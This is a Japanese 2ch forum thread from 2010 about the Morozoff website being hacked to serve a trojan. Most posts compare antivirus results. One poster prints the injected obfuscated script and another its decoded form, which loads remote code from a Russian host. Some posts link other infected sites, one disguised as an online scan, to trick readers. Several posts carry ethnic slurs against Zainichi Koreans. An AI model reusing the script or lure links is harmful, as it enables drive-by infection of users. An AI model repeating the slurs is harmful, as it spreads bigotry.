モロゾフの公式サイトでトロイ絶賛配布中　2

モロゾフのプリンの容器をコップ代わりにする家庭って・・・・・
http://tsushima.2ch.net/test/read.cgi/news/1262592767/

231 名前： スパナ(アラバマ州)[] 投稿日：2010/01/04(月) 22:05:41.87 ID:jV4wBhTt
お前らモロゾフのHP見てみろ
http://www.morozoff.co.jp/

232 名前： カッターナイフ(千葉県)[] 投稿日：2010/01/04(月) 22:06:22.91 ID:gZasu7IR
>>231
やっぱトロイが出る

234 名前： ペーパーナイフ(埼玉県)[sage] 投稿日：2010/01/04(月) 22:10:25.05 ID:kuMQUvUv
>>231
http://www.aguse.jp/?m=w&url=http%3A%2F%2Fwww.morozoff.co.jp%2F&x=48&y=13

前
モロゾフの公式サイトでトロイ配布中
http://tsushima.2ch.net/test/read.cgi/news/1262611814/

まとめ
バスター先生ら他多数不動
avast!は一部反応
.tmpが怪しい

２

僕の肛門もモロゾフモロゾフ

マジかよ糞箱売ってくる

　　　　　　　　　　　　　　　　　∠二`-=-'"~<.,,,,,_
　　　　　　　　　　　　　　　　,,=''"~　　　　　　　　＝
　　　　　　　　　　　　　 　 ,/　　　　＼､i, ,ノ　　　　＼
　　　 ___,,,,__　　　 _____　　lイ　-=・=- 　　　-=・=-　'l,
　　　`ヽ=,　＼／~ ,／　　/　　　　　　　　　　　　　 `iヽ
　　　 ,,,.-`l　　　　<,_　 　 |　　　　,,　.,,人, ,_ 　,_　　　 l,　
　　∠,,_　　　　　　　＼　 ﾚ/　ー'"'"|　　u/ `''' '-　　N
　　 ／　　＼､i, ,ノ　　,l, ,/　 　 　 　 | /|　|　 　　 　 　 |
　　|　　 ○　　　 ○　　V　/　　　　//　| | ))　　　　 |　|
　　,イ　 　 　Д 　　　 て,,/　　　　 Ｕ　 .Ｕ 　　 　 　 し(
　 (_,,.　　　　　　　　　┌'"|　　　　　　↑>>1　　　　　 lヾ

モロゾフってなに？

モロのエロ配布　に見えた

今日はν速のスレが異様に少ないんだがトロイにやられたのか

おつかれー>>1

http://www.dotup.org/uploda/www.dotup.org529912.jpg

itumonoyatsu
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
(){eval(unescape(('Script(t,'%')))})(/./g);

しょぷ経由でメルしておきますた。
フリメが届くのかが心配

おもふく
http://tsushima.2ch.net/test/read.cgi/news/1262611814/

茨木▽

http://www.aguse.jp/?m=w&url=http%3A%2F%2Fwww.morozoff.co.jp%2F&x=45&y=8
アウトｗｗｗｗ

いつまでやる気だよー

たてんの早すぎだろｗ

メモリが熱くなるな

ジョリマダムの焼プリンを越えるプリンなぞ存在しない

検体提供
[email protected]

JavaGame.jarのソースコード
ttp://www.dotup.org/uploda/www.dotup.org529680.7z.html

おわびとしてコップくれよ
中身いらんから

>>13
ここが次スレだ。

>>13
スレタイ読めない馬鹿は雑煮食ってろ

正規のmorozoffホームページのソースの末尾にまさに悪意のある<SCRIPT>タグがあって、
そこに/*GNU GPL*/っていうコメントがあってその後に、本来やりたいことが
暗号化されたスクリプトとして描かれてるな。要は「どっかからPDFを落としてこい」
っていうJavaScriptだけど、他にも何かしてるかも知れない。

avastで反応しない人って何者？
java切ろうがなんだろうがとりあえず反応するくね？
avastの設定がデフォルトのままとか自動更新してないとか？

ウイルスコード久々にみた

>>13

ここひらくだけで反応するの？

JAVAとActiveXとpdfのやつはaviraで反応した
あと何がある？

>>13

>>29
まあ普通はFlash(.swf)を開かせようとするけど、今回.swfがあるかどうかはわからん。

さっきモロゾフスレ見て公式サイトを見に行ったら引っ掛かった。
security toolだったよ。
システムの復元で一昨日の状態に戻して回復した。

>>1
スレ検索もできないの？死ぬの？
http://tsushima.2ch.net/test/read.cgi/news/1262611814/

>>33
釣れますか

>>13>>33
おまえらはスレタイも読めないのか

なんだよ・・・GENOってVISTAやwin7じゃ感染しないって聞いてたのにｗ
win7の64だけとMSEで検索したらちゃっかり引っかかったじゃないか
しかもMSEってweb開いた瞬間に警告なり駆除したりしてくれないのな

それにしても立てるの早すぎだ

>>13

まずトロイとはなんなのかから説明してもらおうか

モロゾフ一族の呪いですか？
http://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A1%E3%83%AC%E3%83%B3%E3%83%86%E3%82%A3%E3%83%B3%E3%83%BB%E3%83%95%E3%83%A7%E3%83%BC%E3%83%89%E3%83%AD%E3%83%B4%E3%82%A3%E3%83%81%E3%83%BB%E3%83%A2%E3%83%AD%E3%82%BE%E3%83%95

>>39
まずGoogleとはなんなのか説明してもらった方が良いんでね？

>>41
では、ゴーグルとはなんなのか説明してもらおうか

貰ってきたよぉ〜♪
どやって使えばいいの？

>>39 グーグル先生に聞け

>>44
お前にそういう偉そうな態度取る資格はないだろｗ

>>42 つhttp://ja.wikipedia.org/wiki/%E3%82%B4%E3%83%BC%E3%82%B0%E3%83%AB

>>46
よしよし偉いぞ

>>46
そんなあやしいうらるをクリックするほど私は馬鹿ではないのであしからず

>>48
さすが岡山さんは情強だのう

前スレ見てとりあえずFirefox＋noscriptで当分やって見る

あなかしこ

そろそろバレンタインだから貰えそうに無いのがやったのか？

モロゾフってロシア料理店じゃないの？

http://www.gred.jp/
このサイトじゃ安全だって言ってるから大丈夫

1000 名前： 顕微鏡(宮城県)[sage] 投稿日：2010/01/05(火) 03:44:22.61 ID:wnJcHdEN
再起動してくる

その後、ID:wnJcHdEN の姿を見たものはいなかった

もういいかげんXP以下のOS使うの辞めろよ
Vistaか7にしろ

期待を裏切り帰還
なんかずっとHDDがガリゴリいってるぞ

よく再起動したな。
OSの入ってるドライブ以外は外しとけよ。

ああ、ちゃんと外したぜ

抜いて寝よう

開いたらopera落ちたし何かをダウンロードした形跡はないんだけどそれでもアウト？

スキャンして確かみてみろ！

>>57
明らかにXPの欠陥が分かってきたな

なぜかaviraの更新ができない

>>60
ネットからも切断しとけよ！

ひで-なこりゃ

Top IR 会社情報 いたるとこにあるじゃん

商品情報は大丈夫…
かと思いきや
ﾁｮｺﾚｰﾄ ﾌﾟﾘﾝ
ﾔﾊﾞｽ

こだわりなんて言ってる場合じゃね-な

274 名前： 梁(西日本) 投稿日：2010/01/05(火) 03:58:50.15 ID:dkDNyBgP
モロゾフのお菓子と言ったら
http://gimpo.2ch.net/test/read.cgi/candy/1032351709/
528 ：無銘菓さん：2007/02/19(月) 17:04:56 ID:NFgOzFUo
他の板の書き込み読んで知ったんだけど、
共同経営者だった在日韓国人がロシア人モロゾフさんから
お店を乗っ取ったって本当？
それで追い出されたモロゾフさんが作ったのが、コスモポリタン
っていう高級チョコレート屋さんで、しかも去年潰れたって。
もし本当だとしたらずいぶん酷い話だなあ。

534 ：無銘菓さん：2007/03/22(木) 21:35:55 ID:R5fM+2XW
>>528 コスモポリタンの廃業を聞いてショックだった。
ガキの頃、家族で東京旅行して銀座でコスモのチョコを買っていたな。１つ１００円〜だったチョコ。
土産に母が１０個か買ってくれたっけ。震災で店の規模縮小に追い込まれても、それでも兄の結婚式の引き出物に用意してくれたよ。
モロゾフとコスモを元々は一つだったこと、元祖は追い出されたということを知った。
調べていくと追い出したのはやはりというか在日朝鮮人・・・
モロゾフのカスタードプリン大好きだけど、この事実を知ったら買いたくなくなるよ。
作ってくれる人は何も悪くないんだけどさ。

お前ら、徹底的に追い込めよ。
同情なんていらんから。

>>57
申し訳ないけど、7でももっらちゃったんだけど・・・
"Exploit:Java/CVE-2008-5353.C" "Trojan:Java/Selace.K"ってこれだよね？

ブラウザやＯＳは関係ないって
javaが仕事するんだから

aviraのフリーだめっぽいね
あヴぁすたんに変えたよ・・・orz

やっぱavast最強だな

java△

aviraの更新が始まったと思ったら遅過ぎﾜﾛﾀｗ
5kB/s ('A`)

もう寝る
みんなちゃんとｽｷｬﾝするんですの

ﾉｼ

>>70
出来るだろ。前スレの36落としてみろ

Trojan:Java/Selace.K
↑
ググっても情報少ないし最近のやつばっか
てことは
新作にひっかかるなんて新年早々ついてるすなぁ

VPSのバージョン　100104-0
これが最新でOK?
avast　入れてみて今スキャン中。
時間かかるだろうなあ。


>>76
それが今回の本体で確定なの？
影響も詳しくわからないってこと？

ノートンで検出できてる人いる？

Firefox は動作を停止しました

問題が発生したため、プログラムが正しく動作しなくなりま
した。プログラムは閉じられ、解決策がある場合は
Windows から通知されます。

>>69
WinでもMacでもLinuxでも感染すんの？

朝になってモロゾフがする対応

・何もしない
・対策はしてもなかったフリ

在チョンなら当たり前ですなぁ

>>81

・被害者はむしろ我々だと主張

モロゾフのプリンはネ申

おらぁ、Vistaだども何も無かったネwwww
マカフィータンも何も無いって告げただよ。

はぁ、何すっぺか。

>>84

シマンテックでスキャンしてきたけど感染してなかった
開いたとき自体も異常なかったしnoscriptさんのおかげか
しかしうちのAVGが更新以外の仕事してるの3年ぐらい見てない気がするな

プリントと言ったらパステルにかぎるな

ノートンで引っかからなかったから、念のために↓実行してる

723 名前： ろう石(大阪府) 投稿日：2010/01/05(火) 01:11:46.06 ID:cY/UacO9
http://www.nifty.com/security/vcheck/

中身カスペだから

前スレで　://inagisou.100webspace.net/hello.htmlのサイト踏んだんだが、
ブラクラとoutlook立ち上がって、ググたら、ウイルスあるから一時ファイル削除して、スキャンしろって
あって、さっき導入したあヴぁすとでスキャンしてるんだけど、検出されないんだが・・・・大丈夫でしょうか？
マジレスお願いします。avira何もしてくれなかった(´；ω；｀)ｳｳｯ

モロゾフ死ね

ノートン先生がシャットアウトしてくれた

>>88
niftyのカスペは更新が遅かったような

検索したらこのスレのdatがひっかかった

ウィルス感染してなかったけど俺がウィルスだった死にたい

No Scriptとか使わないならOperaが一番安全だと思う
シェア１%だから脆弱性とか関係ない
IEは論外

GENO亜種ってことは自サイト持ちが踏んでサイト更新すると自サイトも感染して
見た人もアウトになるのかね

aviraタン更新したけど恐くて踏めない

わざわざ踏むこたないだろ

GENOは絶対に許さない
絶対にだ

まだまとめはないのか

>>95
だからブラウザの脆弱性ではなくJavaその他Webプラグインの脆弱性だと何度言えば

>>29
その3つで全部と思われ
さすがAvira

前スレから転載
MSEはこれやらないと特に新作にはザル

■更新間隔を1時間毎に変更する方法 (XP)

1. レジストリエディタを起動する
2. HKEY_LOCAL_MACHINE → SOFTWARE → Microsoft → Microsoft Antimalware → Signature Updates
3. 右クリック → アクセス許可(P)
4. Administrators の「フル コントロール」にチェックを入れる
5. SignatureUpdateInterval の値を 0x00000001 (1) に変更する
6. PCを再起動する
7. おわり

■更新間隔を1時間毎に変更する方法 (Vista/7)

1. レジストリエディタを起動する
2. HKEY_LOCAL_MACHINE → SOFTWARE → Microsoft → Microsoft Antimalware → Signature Updates
3. 右クリック → アクセス許可(P)→詳細設定→所有者→現在の所有者をAdministratorsを選択してOK
4. Administrators の「フル コントロール」にチェックを入れる
5. SignatureUpdateInterval の値を 0x00000001 (1) に変更する
6. PCを再起動する
7. おわり

さて、今日はモロゾフ側から何かしら謝罪なりあるのかな？

>>100
あ…一般的な話ね
今回は違うけどブラウザ自体の脆弱性を狙うようなページがあったら>>95のようなことが言えますよってこと

FreeBSDだから何にも起こんねｗｗｗｗｗｗｗｗｗｗｗｗ

こんなのが挿入されてるね
<script>
/*GNU GPL*/
try{window.onload = function(){var U26gcel3nnek = document.createElement('s@$$&c)$&r$i#(p#$!t!!('.replace(/@|\)|\!|\(|\^|\$|&|#/ig, ''));
var Zavq7z4z78k = 'Imrp1rhevfo';
U26gcel3nnek.setAttribute('type', 't(^$e&@&x!!$t!@&/)j((a)v&&a@(^s(!c((r!i$!p!$t!(#'.replace(/\^|#|&|\!|\(|\$|\)|@/ig, ''));
U26gcel3nnek.setAttribute('src', 'h())&t)t$$p@#:)^$)/((^/!$#g!o(&&u^^^g!$o？u!-$&c!)!o)^$$m)@!^.$(#n&)$i
#(n^#^g@.&@c&$#o@m(.)a###!c#(e!$$(r$$-^#c!@o)@!$m@.$^s)(u!@p$$e@r@(a(g(@^u)$&)!i#d!e&!!#.!@^r(^u^:)
#8&^#&0#(8)^0^/!!#i@$)#n^$@$.&!)!c&!(o((!m$&&/$i#!$n#!).)$@c#(^o@!$&m(@/@$g@o))o^&g@&l!#e!.^)c))o@
m#&@/$^#v#)i!)#d!^@e&)$)o@)!@@s#z$(.？^c@!$o!m(^^/@b^(&e#!@&s@((t)#$@#t&^)^u&b!(e^)c$^#l!@)i$)&!$p)
@s!$^$(.&$c@&)@o)!$m(^#&/('.replace(/\!|@|#|\$|\(|&|\^|\)/ig, ''));
U26gcel3nnek.setAttribute('defer', 'd!$@$e@f!!(&(e^r@)'.replace(/@|\(|\$|#|\!|\)|\^|&/ig, ''));
U26gcel3nnek.setAttribute('id', 'M$e!$7#!)r#!$l？@^9()!(#t$!^9&q#)@$$b&&^!3&@)'.replace(/\^|\)|@|&|\$|\!|\(|#/ig, ''));
document.body.appendChild(U26gcel3nnek);}}
catch(Lpmpa57y1j) {}
</script>
<!--86fa61201e3ca3a075145a1d33d3c209-->

なんか一大事だな

(^u^:) ←これ可愛いな

(n^#^g これもかわいいな

FreeBSDのClamAVでも検出

#curl -s http://www.morozoff.co.jp/ | clamdscan -
stream: Trojan.JS-40 FOUND

----------- SCAN SUMMARY -----------
Infected files: 1
Time: 0.234 sec (0 m 0 s)

^0^/　これもかわいい

>>107-108
かわいいなｗ

(8)^0^/!!

$^s)(u!@

次スレが立つほどお前らモロゾフ好きだったのか・・・

Operaで踏んでしまったがMSEでフルスキャンやっと終わった。
感染ファイルが3つ検出されたよ。

ﾊﾟｧｰﾝﾊﾟｧｰﾝﾊﾟｧｰﾝ
反応しますた

困った困った＞＜

モロゾフで感染したニダ
謝罪と賠償を要求するニダ

PSPブラウザでダイブしてきたけど無反応…。

http://www.dotup.org/uploda/www.dotup.org530598.jpg

ノートン先生さすがやで

ゴネれば割引券くれるかな？

プリンが食べたいから感染しておこう

googleで「モロゾフ」を検索した時点でavastさんが怒る。

モロゾフ追い出された経緯を知りたくてwiki見ようとして
Firefoxでモロゾフチョコレートgoogle検索しただけなのにavastたんが怒ったわ
SearchPreview入れてたんだった・・・orz

接続遮断したけどだめかｎ

Avastさん反応しまくりで笑った

公式ウェブサイトのウイルス汚染問題 [編集]

2010年1月5日現在公式ウェブサイトにアクセスするとトロイの木馬に感染するという現象が確認されている。


wiki早すぎﾜﾛﾀ

何で公式より速いんだよw

>>124

⊂（＾ω＾）⊃　ｾﾌｾﾌ!!
　ミ⊃⊂彡

やっぱavast先生最強か

モロゾフの経営者は店を乗っ取った在日朝鮮人だから期待するな

まだ対応してないのか。

さっき見たらもう直ってるぞ！夜中見た時はノートン先生が遮断したけど。

>>68
ファイルがあるのと、実際にトロイが動作するのでは天と地の差がある
管理者権限でUAC切ってるようなアホや、firefoxとか脆弱なブラウザ使ってるアホ以外は、
Vista・7のIEの保護モードで助かってるだろ

google先生役にたたねー

http://www.google.com/safebrowsing/diagnostic?site=www.morozoff.co.jp

診断提供: セーフ ブラウジング
www.morozoff.co.jp の診断ページ

www.morozoff.co.jp の現在のステータス
現在のところ、このサイトは疑わしくないと認識されています

function() {
    var U26gcel3nnek = document.createElement('script');
    var Zavq7z4z78k = 'Imrp1rhevfo';
    U26gcel3nnek.setAttribute('type', 'text/javascript');
    U26gcel3nnek.setAttribute('src', 'http://gougou-com.ning.com.acer-com.superaguide.ru:8080/in.com/in.com/google.com/videosz.com/besttubeclips.com/');
    U26gcel3nnek.setAttribute('defer', 'defer');
    U26gcel3nnek.setAttribute('id', 'Me7rl9t9qb3');
    document.body.appendChild(U26gcel3nnek);
}


まだトップにバッチリ残っとるがな。（上は読みやすいようにデコードしたものだが）

とりあえずavastでスキャンして何も検出されなかったけど、これで安心？
昨日の夕方頃にプリンのサイト見たんだけど

あ、いま治した模様
トップページ下のやばいjavascriptが消えてる

しかし、こういうのってすでにパスワード流出して、
担当者が治す→また書き換えられる→また担当者が治す

とかになりやすい

一旦Webサーバ止めて、ちゃんと対策してから復旧したほうがいい

>>67
共同経営者が何人かは知らないが
同じ話をウチの親も言ってたわ
コスモポリタンのオレンジチョコ美味しかったのになぁ

さて、モロゾフはきちんとアナウンスするかな。

それとも何事もなかったようにシラを切り通すかな。

avast　スキャンしてみたらこんなの出てきた。
今回とは無関係？

（拡張子は　．ｃｌａｓｓ）

TakePrivileges
SuperMSClassLoader
NewURLClassLoader
Installer

追加

VPSのバージョン　100104-0

となっている。（最新？）

いくつかは消えたけど、まだ結構残ってるね。

ttp://iup.2ch-library.com/i/i0043599-1262654479.png

問題ナシです＾＾

無料のavast大先生は反応するのに有料のバスター劣等生は沈黙とか・・・

お土産のブロードランドが美味しかったので楽天で注文したわ

実害を教えろ
ウイルスバスターって言う2009年のウイルス使ってる
ＯＳはＸＰだ
30秒くらい重くなってチョコレートのページ開いて
五秒後×ボタンおして閉じた
その後特に何もないの

>>140
ご愁傷様です

avast先生がまた大激怒してるぞ。

>>146
ﾌﾟｷﾞｬ━━━━━━m9(^Д^)━━━━━━!!!!!!

>>135
リンクになるような貼り方するなよ

先生ってつくのはノートンだけだろｗ
ドクターノートンから来てるんだっけか

トップページとかから除去したのね。一時閉鎖無し+告知無し。
トップページとかから呼ばれるjsに仕込まれたままだけど。
/common/js/over.js

>>149
無職のゆとりニート早くおしえろ

>>146
>ウイルス使ってる
もう使ってるならいいだろ

~TM108.tmp
Temp\jar_cache312746138945917647.tmp
があったらまずい

>>151
大
塩

前スレで実験(多分ＶＰＣ)やってた人は、
telnetでガンガン侵入されるとか、
ファイル持ってかれるとか言ってたね

とりあえず、まずはトロイ本体を引っ張ってくるだろ

で、 >>152 みたいにhtmlではなくjsに仕込まれることもあるので
scriptタグを除去してみた。
ttp://www.virustotal.com/analisis/c4696c5d28b945853a17c6d514b827b3a64073b1a59fe55956bcc607266b6db8-1262656302
おーいMcAfee…。

>>158
ありゃりゃ、マカフィーもMSEもダメか

McAfeeは<script>タグ付きの場合は引っかけたんだけどねー。
ttp://www.virustotal.com/analisis/94a2bd34b99ebb992e019c2b7b05e4ed6e6b9400b313b1de1cd60366e2eaa2b3-1262614148

>>153
バスターアンインスコして窓から投げ捨てて
avast入れて全部のHDDスキャンしろカス

avastダウンロード→レジキー貰う→バスターアンインスコ→窓から投げる→
avastインスコ→ネット切断→HDDスキャン

早くやれゴミ

ああ、BitDefederもだめか。
もうちょっと真面目にパターン作ってくれよ…。

前スレでも書いたけどVirusBusterはハンガリーの製品で
「ウイルスバスター」はTrendmicroのとこね。
ソースネクストはK7。

VGAちゃんが正月休みから復帰しないの

>>161
お前のランクが素人童貞に上がりました
ＰＣ捨てるわ

>>165
捨てるなよw
avastでスキャンすれば元通りだよw

もうみんなAVGは捨てたのか？？？

ふぅ…今日は俺の誕生日だってのに
これじゃあモロゾフでお祝いできねぇじゃねぇか
代わりにモロトフカクテルでお祝いすることにしました

何も反応しないんだけど、そういうものなのか？
kingsoft使ってんだけどw

昨日モロゾフのtopページなど踏んだ
ウィルスバスターだと何も検出されないが、avastでチェックしたら55個も出てきた
Win32:VB-gen2は、ググってもおじいちゃんのメモとかいうサイトしか引っかからない
JS:Redirector-Hってやつは、GENOウィルスだと書いてあったけど、2ちゃんのログなのでほっといていいんだよね？
ttp://www.dotup.org/uploda/www.dotup.org530928.png
これって感染してる？

モロゾフ復帰オメ

このスレにノートン先生が反応してる

>>170
.datファイル以外で感染してるのはっけーん
隔離してるから大丈夫だろ
削除してまえ｡

>>170
お前はいくつ高圧縮ファイル爆弾を所持しておるのだ

コードに無駄に反応する脳トンはゴミ

>>171
今さっきゾフってみたけど、もう綺麗になってるのか？

>>105
　　　　　　　ヽ､,jﾄttツf( ノ　 　 　 　 l　
　　　　　 ＼､,,)rﾞ''"''ｰ弋辷_,,..ィ　　　!
　　 =､..,,,ﾆ;ヲ_　　　　　ヾ彡r''"^　-=ll
　　　 ｀`ミミ,　　 i'⌒!　　 ﾐミ＝- :__　l
　　 =　-三t　　 fﾞ'ｰ'l　　 ,三``''ヾ::::ﾉ＿＿,,,,,,,,,......:＿....,,,,＿＿
　　　　 ,シ彡､　lﾄ　 l!　 ,:ﾐ''　／::::::::j´_,,...､_　　　　　　　　: : : : :
　　　　　／　^'''7　 ├''ヾ!　（:::::::f⌒'i'､,,＿_｀ﾞﾞ''ｰ- -'　　-一''": :
　　　 ／　　　　l　　 ト､　＼丿::::l! (ヽ!　､_,.ヾ○ﾌ二'^　　`''ニ"´ :
　　　　 〃ﾐ　,r''f!　　l!　ヽ.　（:::::::ヽ.｀ﾞi!　　　　　　　　　　　　 : : : :
　　　ノ , 　 ,ｲ,: l! ,　,j! .,　ﾄ、　(:::::::::i　! :::::::::::::::: ｿ　　　 　 γ ::: :::: ::::
　　　　/ ｨ,/ :'　　　　　':. l ヽ. ､＼:::l　l :: :: ::○::│　　　 　│　 ○::::::
　　　/ :: ,ll　　　　　　　　 ﾞ': ﾞi,ヽ、　ﾞ'ｰ! :::::::::　 人＿＿＿人　 : : : :
　　/　 /ll　　　　　　　　 'ﾞ　!　＼　　　l,　　　　　　　　　　　: : : : :
　　　 /' ヽ.　　　　　　　 　 ﾘ　　　＼　 t,　　　　~ﾞ´￣　｀ﾞﾞﾞ`　: :
　　　/　　ヽ　　　　　　　　/　　　　 ヽ ,ゝ.　　　　　　　　　 . : : : : :
　　 /　　r'ﾞi!　　　　　.,_,　/　　　　　 　　ヽ、　　　　　　 . : : : : : :
　　/. 　 　 l!　　　　　　 ｲ　　　　　　　　　i!`'ｰ- :.,,　　 . : : : ,:r''"
　 /　　　,:ィ!　　　　　 　 ト､　　　　 ＞くﾌ　　　　｀;ﾞ'''''';"~´
　　,r''"´~ヾ＝―――=''′｀ヽ;'''"´　　｀￣｀ﾞﾞ`ヽ、　　,r一''"´

>>175 aguseも反応しない
http://www.aguse.jp/?m=w&url=http:%2F%2Fwww.morozoff.co.jp%2F&x=43&y=8

MSSEはどうだい？

直ったな

よくわからんけどNoScript入れてたら大丈夫なんだろ？

ほほう、便利なサイトがあるんだな。
とりあえず、kingsoftも反応ないので正解か。

>>165
昼休みのお茶吹いたｗｗ

大丈夫っぽいなw
http://www.aguse.jp/result1.php?url=http://www.morozoff.co.jp/

ソースにも変な記述無いし

ＮｏＳｃｒｉｐｔあっても企業サイトだから有効にするだろJK

>>177
ごめん書いてたかw

ひそかに修正して、平穏を装うのはいただけないな。

>>173
ありがとうございます
すみません、datじゃない感染ファイルってどれでしょうか？
全部見たのですが分かりませんでした
Win32:VB-gen2でしょうか？

>>174
こんなものがあったなんて初めて知りました
爆弾も削除します

一応説明責任は必要だろ
誰か電話したりしてないの？

>>187
チェストには移動してるみたいだから削除すれば問題なし

>>188
企画室の管理者にはメールしたんだけどな｡
しらばっくれるつもりかねw

モロゾフ見損なったわー
隠匿した時点で被害者側だったのが
一気に加害者側になったな

行ってみようかと思ったらもう直ってるのか
カスペはだいじょうぶだったんだろうか

>>189
しらばっくれてたら故意にトロイ配布してたことにされても文句言えんから
何か発表はするだろうけど完全に安全確認した後になるのかねえ

これはgenoと同じく閉店コースかもわからんね

このスレ開いたらノートン先生に怒られたんだけど・・・
まさかそれだけで感染とかｗ

>>194
あーあ･･･
やっちゃったね☆

>>194

>>175

>>194
ドンマイ

>>194
OS再インストールが必要らしい。がんばれ

jsからも除去したのね。
JR東やホンダみたいな大企業じゃないし、告知は期待しない。

おい、ESETじゃ検出されなかったぞ！

カスペにずっとついていく
モロゾフは買わん

サイトは11:08(Last-Modified)に無害化済み。

>>189
ありがとうございます
さっきの画面で削除しようとしたら隔離されているので削除が押せなくなっていました
チェストに入っているウィルスの削除は、
メイン画面からチェストを開き、MEMORY.DMPをクリックして右クリック、削除をクリック、
以下画像の「チェストからファイルを削除」で合っていますか？
ttp://www.dotup.org/uploda/www.dotup.org530986.png
これだと隔離したウィルスをまた解放する事になってしまいますか？
とんちんかんな事を言っていたらすみません

まるでググれカス的でワロタw

>>203
おk

http://pc11.2ch.net/test/read.cgi/pc/1261006089/

もう直ってたか
しかし何事もなかったのようにしてるモロゾフって一体…

GENO以下の糞対応ワロタｗｗｗ

モロゾフは被害者から加害者に変わりました。

食品メーカーで対応が良くないというのは問題だね

お詫び書いて無くてびっくりしたｗ

>>205
ありがとうございます
おかげさまで助かりました
やっと安心してインターッネト繋げられます

絶対に許さない

費用の安い製作会社に依頼するからこうなる
頼む時は時間と金を与えてやれ

これは自社商品に何かあっても同じ対応すると言う事じゃの
ホントは被害者なのに対応間違ったな

モロゾフ好きだったのになぁ
プリンはパステルにするわ

シャトレーゼ美味しいれす

>>211
おいおいここはν速だぜ？

ものすごい勢いでウイルス配布しといて謝罪なしですか？

モロゾフ がん無視 これでも東証1部絶賛上場中

モロゾフって何？トルクメニスタンの元大統領？

モロゾフって安藤美姫のコーチだ

対応とかお詫びを朝鮮企業に求める方があれだよ
この騒動で朝鮮乗っ取り企業って知ったからもう買わない

こんなサイトみるの個人なんだからごめんなさいしてたらいいのに
チェックの仕方簡単やないか

>>220
安藤美姫のコーチでないかな

>>221　>>224
織田信成のコーチだろ

管理者にメールしたんだけどなー
シカトは悲しいなー
やっぱ慣れない親切なんかするもんじゃないなw

>>208
モロゾフじゃなくて委託業者がやってるだけだと思うがｗ

え！？スレ開いただけで感染なのかよ…
オワタ＼(^o^)／

>>220
群馬には無いのか。

おいこれMSのじゃ反応しないぞ
やべえ

俺もWIN7+MSEで踏んだんだが、これ潜伏してるのか？？まったく反応しないんだが

もうお祭りは終わったよ

>>227
モロゾフにも通報行ってんのにその言い訳は通用しないだろｗ

>>231
レジストリ弄ってDB最新にしてからスキャン

avast!使ってる人も一応オンラインスキャンしといた方がいいよ。
http://aljabarconstruction.com/

>>235
URL踏んだらAvast先生が激怒した

ネット11年目にして初めてトロイ検出削除された

>>235
感染しました

http://www.aguse.jp/?m=w&url=http%3A%2F%2Faljabarconstruction.com%2F&retry.x=37&retry.y=6
検出されたウイルス（ワーム、スパイウエア）
Trojan-Clicker.JS.Agent.la

>>235
検出されたウイルス（ワーム、スパイウエア）

Trojan-Clicker.JS.Agent.la

>>235
通報しておいたから覚悟しろよ

マイクロソフトの7乗り換えキャンペーンだったか

>>233
通報されたからといって何も出来ないだろうし。

>>243
なんで発注者が何もできないんだよｗｗ
お詫びの告知くらいメールかFAXで流して1時間後には掲載されるのが普通だぞ。

>>235
踏んだけど何も表示されない。JavaScriptやJavaやActiveXを
切って踏んだからかな？

お詫び載せないとか最悪すぎる

>>235
通報完了！(‐人‐)
http://www.kalakarbooking.com/home.html

このスレ開いたら久しぶりにウイルス警告ｷﾀ━━━ヽ(ヽ(ﾟヽ(ﾟ∀ヽ(ﾟ∀ﾟヽ(ﾟ∀ﾟ)ﾉﾟ∀ﾟ)ﾉ∀ﾟ)ﾉﾟ)ﾉ)ﾉ━━━!!!!!

ある程度のスペッコを要求されるかもしれんが、
システムの復元よりも確実？らしい

PCをサンドボックス化、再起動ですべてを“なかったこと”にできる「Returnil」
http://www.forest.impress.co.jp/docs/review/20091208_334128.html

それと綺麗な状態のうちに、ディスクをイ丸ごとバックアップしておけば更に良し

Windowsが起動したままの状態でハードディスクをまるごと
イメージ化できるフリーソフト「Macrium Reflect FREE Edition」
http://gigazine.net/index.php?/news/comments/20090206_macrium_reflect_free_edition/


データ吹っ飛んで泣く前に試してみ？

>>247
　　　　　　　　　　|∧_∧ 　ﾊﾟｼｬッ
　　　　　　　　　　|･ω【◎】 　　　　　 ∧_∧　　　　ﾊﾟｼｬッ
　　　　　　　　　　|　っ 9　　　　　　【◎】＼）　ﾊﾟｼｬッ
　　　　　　　　　　|―ｕ'　　　　　　　 └＼　＼
　∧＿∧　／　　　　　　　　　　　 　　　　く￣(
（　´∀【◎】 　ﾊﾟｼｬ!　　　　　 　
(つ　　 ９ 　＼　　　　　　　 　　　 　 　＼　　∧＿∧　　
｜ ｜　|　　　 　　　　 　　　　　 ﾊﾟｼｬ!　 【◎】ω･｀ ）⌒っ　
（_＿）＿）　　　　　　　　　　　　　　 　 ／　 しと,.＿_,.,..＿っ
　　　　　　　　　 ∧_∧　
　　　　　　　 　 (　　 )】 ﾊﾟｼｬッ
　　　　　　　　　/　 /┘ 　　ﾊﾟｼｬッ

　　　∧_∧ ﾊﾟｼｬ
　　　(　　 )】 　ﾊﾟｼｬ
.　 　/　 /┘
　　ノ￣ゝ

モロゾフが原因不明のまま問題のコードを削除しただけなら再感染もあり得る
Genoも二度あったよな

このスレでノートン反応したぞ
誰だよ

FTPパスワード漏れてるからいつやられてもおかしくない

ウイルスチェイサー反応しねえよ・・・

このスレ開いたらavast先生が反応したんだが

avastインストールしてチェックしたら、トロイを9個発見。

スキャンしてトロイあったとか言う奴は、
モロゾフのサイト見る前から入ってたとは思わないのか？

感染してからavastでスキャンしても検出できないモロゾフウイルスあるよ
http://www.virustotal.com/jp/analisis/64b9d4cf390e37a1017b8a585917c0d21c476cdd59193cc3b28fe46861ffd921-1262504703

ＪＲ東サイト改ざんウイルス、ホンダなども被害
http://headlines.yahoo.co.jp/hl?a=20100105-00000745-yom-soci

>>40
それ知ってるからむしろ「ざまあｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ」と思った俺
「本家」は去年だか一昨年だか閉店したんだよな

>>187
手遅れかもシレンがavastは圧縮率が高く検査できないファイルは「高圧縮ファイル爆弾」と表示する仕様なんだぞ・・・
実際には問題ないものの場合がほとんど

>>1のサイトの調査結果じゃウイルス出てこなかったぞ？
対応済みか？

SetupPasoraku.msiってのが感染してた

>>263
NEC乙

昨日夕方java、javaスクリプト切ってAVGで踏んだ
寝てる間にavastでスキャンしたけど
別に何も見つからなかった

僕の肛門もモロゾフしそうです

ＪＲ東サイト改ざんウイルス、ホンダなども被害　ウイルス名「ガンブラー」
